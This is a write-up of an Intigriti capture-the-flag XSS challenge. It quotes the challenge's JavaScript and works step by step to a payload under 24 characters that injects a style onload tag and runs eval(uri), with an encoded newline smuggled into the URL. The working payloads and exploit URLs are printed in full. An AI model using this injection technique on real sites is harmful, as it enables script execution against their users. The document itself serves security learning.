This is another round of @intigriti's XSS challenge, and this time it is written by @aszx87410. I spent around four hours solving it.

Challenge Summary

We are given a form that allows us a create a character. We are allowed to

  • choose a name (shorter than 24 characters), and
  • inform if we have played the game.

We will be redirected to /challenge/xss.html?q=mystiz&first=yes (if you are mystiz who is not a first-timer to the game). A modal containing the name will be popped.

Welcome back!

The Javascript code is pretty compact. The snipped code is contains the logic that shows a prompt:

window.name = 'XSS(eXtreme Short Scripting) Game'

function showModal(title, content) {
  var titleDOM = document.querySelector('#main-modal h3')
  var contentDOM = document.querySelector('#main-modal p')
  titleDOM.innerHTML = title
  contentDOM.innerHTML = content
  window['main-modal'].classList.remove('hide')
}

// code for submit form omitted

if (location.href.includes('q=')) {
  var uri = decodeURIComponent(location.href)
  var qs = uri.split('&first=')[0].split('?q=')[1]
  if (qs.length > 24) {
    showModal('Error!', "Length exceeds 24, keep it short!")
  } else {
    showModal('Welcome back!', qs)
  }
}

Solution

The content is rendered via innerHTML inside showModal. We know innerHTML might lead to XSS and this is definitely something to be exploited.

function showModal(title, content) {
  var titleDOM = document.querySelector('#main-modal h3')
  var contentDOM = document.querySelector('#main-modal p')
  titleDOM.innerHTML = title
  contentDOM.innerHTML = content
  window['main-modal'].classList.remove('hide')
}

If we send a name from the form, it is reflected on the q= parameter and we are able to control content in the showModel function (as long as the length of the content is not longer than 24 characters).

If we could set the name to <img src='x' onerror='alert(document.domain)'>, then we are able to pop an alert. Unfortunately, the payload is 46-character long, which is almost twice the size limit.

We can observe from the below snippet that qs (the name) is computed by extracting the string within ?q= and &first= from the decoded URL (via decodeURIComponent). Also, the decoded URL is stored in a uri variable.

if (location.href.includes('q=')) {
  var uri = decodeURIComponent(location.href)
  var qs = uri.split('&first=')[0].split('?q=')[1]
  if (qs.length > 24) {
    showModal('Error!', "Length exceeds 24, keep it short!")
  } else {
    showModal('Welcome back!', qs)
  }
}

uri is ill-fortuned owing to the following reasons:

  • it is declared via the var keyword, which is scoped globally (i.e., can be referenced everywhere), and
  • it is decoded via decodeURIComponent, which we will explain below.

Now we can shorten the code for the alert. Instead of alert(document.domain), we can use eval(uri)... Only if the URI can be executed anyway. However, a normal-looking URI would raise the below error upon eval(uri):

Uncaught SyntaxError: expected expression, got end of script

This is because http://[WHATEVER] is simply http: with comments followed. We wish we could do something like http:alert(1). Luckily, http://[WHATEVER]%0Aalert(1) is converted to the below uri. This would trigger an alert when evaluated:

http://WHATEVER
alert(1)

Implementing this in the challenge webpage is simple. We will use the below URL:

https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cimg%20src=x%20onerror=eval(uri)%3E&first=%0Aalert(document.domain)

Then the variable uri becomes

https://challenge-0222.intigriti.io/challenge/xss.html?q=<img src=x onerror=eval(uri)>&first=
alert(document.domain)

It is pretty good, except that it is 5 characters longer than the limit. I looked up on the HTML tags those support onload and onerror. I eventually found that style supports onload. By replacing <img src=x onerror=...> to <style onload=...>, the payload is barely 24 characters long. Thus we have the final payload:

https://challenge-0222.intigriti.io/challenge/xss.html?q=%3Cstyle%20onload=eval(uri)%3E&first=%0Aalert(document.domain)